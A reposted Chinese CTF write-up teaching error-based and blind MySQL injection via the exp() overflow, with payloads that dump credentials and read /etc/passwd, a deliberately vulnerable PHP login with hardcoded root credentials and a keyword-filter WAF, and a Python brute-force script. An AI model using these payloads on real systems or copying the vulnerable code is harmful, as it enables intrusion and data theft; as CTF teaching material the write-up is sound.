数据库您现在的位置是:首页 > 博客日志 > 数据库

如何使用 MySQL exp() 函数进行 Sql 注入

<a href='mailto:'>微wx笑</a>的头像微wx笑 2023-01-13数据库106 2 0关键字: MySQL  Sql注入  

前言前段时间做 2021 虎符杯 CTF Finalweb Hatenum 这道题时学到了使用 MySQL exp() 函数进行注入的新姿势,这里系统的总结一下。话不多少,开搞!MySQL exp() 函数MySQL中的EXP(

前言

前段时间做 2021 虎符杯 CTF Finalweb Hatenum 这道题时学到了使用 MySQL exp() 函数进行注入的新姿势,这里系统的总结一下。话不多少,开搞!1pR无知

MySQL exp() 函数

MySQL中的EXP()函数用于将E提升为指定数字X的幂,这里E(2.718281 ...)是自然对数的底数。1pR无知

1
EXP(X)

该函数返回E的X次方后的值,如下所示:1pR无知

1
mysql> select exp(3);+--------------------+| exp(3)             |+--------------------+| 20.085536923187668 |+--------------------+1 row in set (0.00 sec)mysql>

该函数可以用来进行 MySQL 报错注入。但是为什么会报错呢?我们知道,次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误:1pR无知

1
mysql> select exp(709);                                       +-----------------------+                                     | exp(709)              |                                     +-----------------------+                                     | 8.218407461554972e307 |                                     +-----------------------+                                     1 row in set (0.00 sec)                                       mysql> select exp(710);                                       ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'mysql>

除了 exp() 之外,还有类似 pow() 之类的相似函数同样是可利用的,他们的原理相同。1pR无知

使用 exp() 函数进行报错注入

  • 使用版本:MySQL5.5.5 及以上版本1pR无知

现在我们已经知道当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。那么我们在实际利用中如何让 exp() 报错的同时返回我们想要得到的数据呢?1pR无知

我们可以用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出:1pR无知

1
mysql> select ~(select version());+----------------------+| ~(select version())  |+----------------------+| 18446744073709551610 |+----------------------+1 row in set, 1 warning (0.00 sec)mysql> select exp(~(select * from(select version())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'mysql> select exp(~(select * from(select user())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'mysql> select exp(~(select * from(select database())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'ctf' from dual)))'mysql>

如上图所示,成功报错并输出了数据。但是事实证明,在 MySQL>5.5.53 之后,exp() 报错不能返回我们的查询结果,而只会得到一个报错:1pR无知

1pR无知

而在脚本语言中,就会将这些错误中的一些表达式转化成相应的值,从而爆出数据。1pR无知

注出数据

  • 得到表名:1pR无知

1
mysql> select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'flag,users' from dual)))'mysql>
  • 得到列名:1pR无知

1
mysql> select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'id,username,password' from dual)))'mysql>
  • 检索数据:1pR无知

1
mysql> select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '1|admin|123456,2|whoami|657260,3|bunny|864379' from dual)))'mysql>
  • 读取文件(有13行的限制):1pR无知

1
mysql> select exp(~(select * from(select load_file('/etc/passwd'))x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' from dual)))'

一蹴而就

这个查询可以从当前的上下文中 dump 出所有的 tables 与 columns,我们也可以 dump 出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果:1pR无知

1
mysql> select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000ctf::flag::idctf::flag::flagctf::users::idctf::users::usernamectf::users::password' from dual)))'mysql>

Injection in Insert

根据 Insert 位置的注入方式按部就班就好了。假设原来的插入语句如下:1pR无知

1
insert into users(id,username,password) values(4,'john','679237');

我们可以在 username 或 password 位置插入恶意的 exp() 语句进行报错注入,如下所示:1pR无知

1
# 在username处插入: john' or exp(~(select * from(select user())x)),1)#, 则sql语句为: insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1)#','679237');mysql> insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1);#','679237');;ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'mysql>

爆出所有数据:1pR无知

1
# 在username处插入: john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1)#mysql> insert into users(id,username,password) values(4,'john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#','679237');ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000ctf::flag::idctf::flag::flagctf::users::idctf::users::usernamectf::users::password' from dual)))'mysql>

Injection in Update

根据 Update 位置的注入方式按部就班就好了。假设原来的插入语句如下:1pR无知

1
update users set password='new_value' WHERE username = 'admin';

我们可以在 new_value 或后面的 where 子句处插入恶意的 exp() 语句进行报错注入,如下所示:1pR无知

1
# 在new_value处插入: abc' or exp(~(select * from(select user())x))#, 则sql语句为: update users set password='abc' or exp(~(select * from(select user())x))# WHERE username = 'admin';mysql> update users set password='abc' or exp(~(select * from(select user())x));# WHERE username = 'admin';ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'mysql>

使用 exp() 函数进行盲注

有的登录逻辑会根据 sql 语句的报错与否返回不同的结果,如果我们可以控制这里得报错的话便可以进行盲注。下面我们通过一个 CTF 例题来进行详细探究。1pR无知

2021 虎符杯 CTF Finalweb Hatenum

进入题目是一个登录页面:1pR无知

1pR无知

题目给出了源码:1pR无知

1pR无知

  • home.php1pR无知

1
2
3
4
<?phprequire_once('config.php');if(!$_SESSION['username']){
    header('location:index.php');}if($_SESSION['username']=='admin'){
    echo file_get_contents('/flag');}else{
    echo 'hello '.$_SESSION['username'];}?>

登录进去便能得到flag。1pR无知

  • login.php1pR无知

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?phprequire_once('config.php');array_waf($_POST);if(isset($_POST['username'])&&isset($_POST['password'])&&isset($_POST['code'])){
    $User = new User();
    switch ($User->login($_POST['username'],$_POST['password'],$_POST['code'])) {
        case 'success':
            echo 'login success';
            header('location:home.php');
            break;
        case 'fail':
            echo 'login fail';
            header('location:index.php');
            break;
        case 'error':
            echo 'error';
            header('location:index.php');
            break;
    }}else{
    die('no use');}?>
  • config.php1pR无知

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?phperror_reporting(0);session_start();class User{
    public $host = "localhost";
    public $user = "root";
    public $pass = "123456";
    public $database = "ctf";
    public $conn;
    function __construct(){
        $this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
        if(mysqli_connect_errno()){
            die('connect error');
        }
    }
    function find($username){
        $res = $this->conn->query("select * from users where username='$username'");
        if($res->num_rows>0){
            return True;
        }
        else{
            return False;
        }
 
    }
    function register($username,$password,$code){
        if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
            return True;
        }
        else{
            return False;
        }
    }
    function login($username,$password,$code){
        $res = $this->conn->query("select * from users where username='$username' and password='$password'");
        if($this->conn->error){    // 如果sql语句报错就返回error
            return 'error';
        }
        else{
            $content = $res->fetch_array();
            if($content['code']===$_POST['code']){
                $_SESSION['username'] = $content['username'];
                return 'success';
            }
            else{
                return 'fail';
            }
        }
 
    }}function sql_waf($str){
    if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){        die('Hack detected');    }}function num_waf($str){    if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){        die('Huge num detected');
    }}function array_waf($arr){
    foreach ($arr as $key => $value) {
        if(is_array($value)){
            array_waf($value);
        }
        else{
            sql_waf($value);
            num_waf($value);
        }
    }}

过滤的死死地,把我会的都过滤了,甚至过滤了一些我压根不会的。但还是遗漏了一些字符,比如反斜杠 \、括号 () 等。1pR无知

有了反斜杠 \ 之后,我们可以在 username 中输入转义符将前面的引号转义,造成引号错误闭合,实现万能密码:1pR无知

1
"username": "admin\\","password": "||1#","code": "xxx"

但是还需要 code 才行,所以我们的思路是使用 rlike(即regexp)按照之前regexp匹配注入的方法,将 code 匹配出来。1pR无知

我们又在 login 函数中注意到:1pR无知

1
if($this->conn->error){    // 如果sql语句报错就返回error    return 'error';}

如果 sql 语句出现错误便返回字符串 "error",然后进入到 login.php 中就会返回 error。根据这里的特性,如果我们可以控制这里的报错的话,便可以进行盲注。1pR无知

但是怎么构造呢?1pR无知

在网上的看到了大佬的思路是真的巧妙:1pR无知

1
||exp(710-(... rlike ...))

即如果 (... rlike ...) 中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1) 后不会溢出;若为false,转换为 exp(710-0) 后则会溢出并报错。1pR无知

大致的 payload 如下:1pR无知

1
'username': 'admin\\','password': '||exp(710-(code rlike binary {0}))#','code': '1'

但是由于过滤了引号,所以 rlike 无法直接引入 % 和 ^,按照之前regexp注入的操作我们可以将 ^ 联通后面猜测的字符一块做 Hex 编码,即:1pR无知

1
2
3
4
5
6
7
8
9
def str2hex(string):  # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
    result = ''
    for i in string:
        result += hex(ord(i))
    result = result.replace('0x', '')
    return '0x' + result......passwd = str2hex('^' + name + j)payloads = payload.format(passwd).replace(' ',chr(0x0c))postdata = {
    'username': 'admin\\',
    'password': payloads,
    'code': '1'}

但是令我没有想到的是,题目还限制了 password 位置匹配的字符串长度,最长只能匹配 4 个字符,如果超过了 4 个则会返回 Huge num detected 错误。那这样的话我们便不能在 payload 里面使用 ^ 了,也就没有办法在正则表达式中确定首位的位置,我们只能知道有这么几个连续的字符,就像下面这样:1pR无知

1pR无知

然后首先爆破出前三位来,然后再通过前 3 位爆第4位,再通过第2、3、4位爆第5位......1pR无知

编写如下脚本进行爆破:1pR无知

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requestsimport stringdef str2hex(string):  # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
    result = ''
    for i in string:
        result += hex(ord(i))
    result = result.replace('0x', '')
    return '0x' + resultstrs = string.ascii_letters + string.digits + '_'url = "http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php"headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'}payload = '||exp(710-(code rlike binary {0}))#'if __name__ == "__main__":
    name = ''
    z = 3
    for i in range(1, 40):
        for j in strs:
            passwd = str2hex(name + j)
            payloads = payload.format(passwd).replace(' ',chr(0x0c))
            postdata = {
                'username': 'admin\\',
                'password': payloads,
                'code': '1'
            }
            r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
            #print(r.text)
            if "fail" in r.text:
                name += j
                print(j, end='')
                break
 
        if len(name) >= 3:
            for i in range(1, 40):
                for j in strs:
                    passwd = str2hex(name[z - 3:z] + j)  # ergh
                    payloads = payload.format(passwd).replace(' ', chr(0x0c))
                    postdata = {
                        'username': 'admin\\',
                        'password': payloads,
                        'code': '1'
                    }
                    r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
                    # print(r.text)
                    if "fail" in r.text:
                        name += j
                        print(j, end='')
                        z += 1
                        break

出结果了,别高兴的太早,因为这里陷入了一个死循环当中:1pR无知

1
erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......

可以看到爆出 erghruigh2 之后不停地循环出现 uygh2,所以我们可以推测出真正的 code 里面有两个 gh2,其中位于前面的那个 gh2 后面紧跟着一个 u,即 gh2u。后面那个 gh2 后面跟的是那个字符我们还不能确定,那我们便可以测试一下除了 u 以外的其他字符,经测试第二个 gh2 后面跟的字符是 3,即 gh23,然后继续根据 h23 爆破接下来的字符就行了,最后得到的 code 如下:1pR无知

1
erghruigh2uygh23uiu32ig

然后直接登陆即可得到 flag:1pR无知

1pR无知

Ending......

1pR无知

转自:https://xz.aliyun.com/t/9849 1pR无知


1pR无知

本文为转载文章,版权归原作者所有,不代表本站立场和观点。

很赞哦! (6) 有话说 (0)

文章评论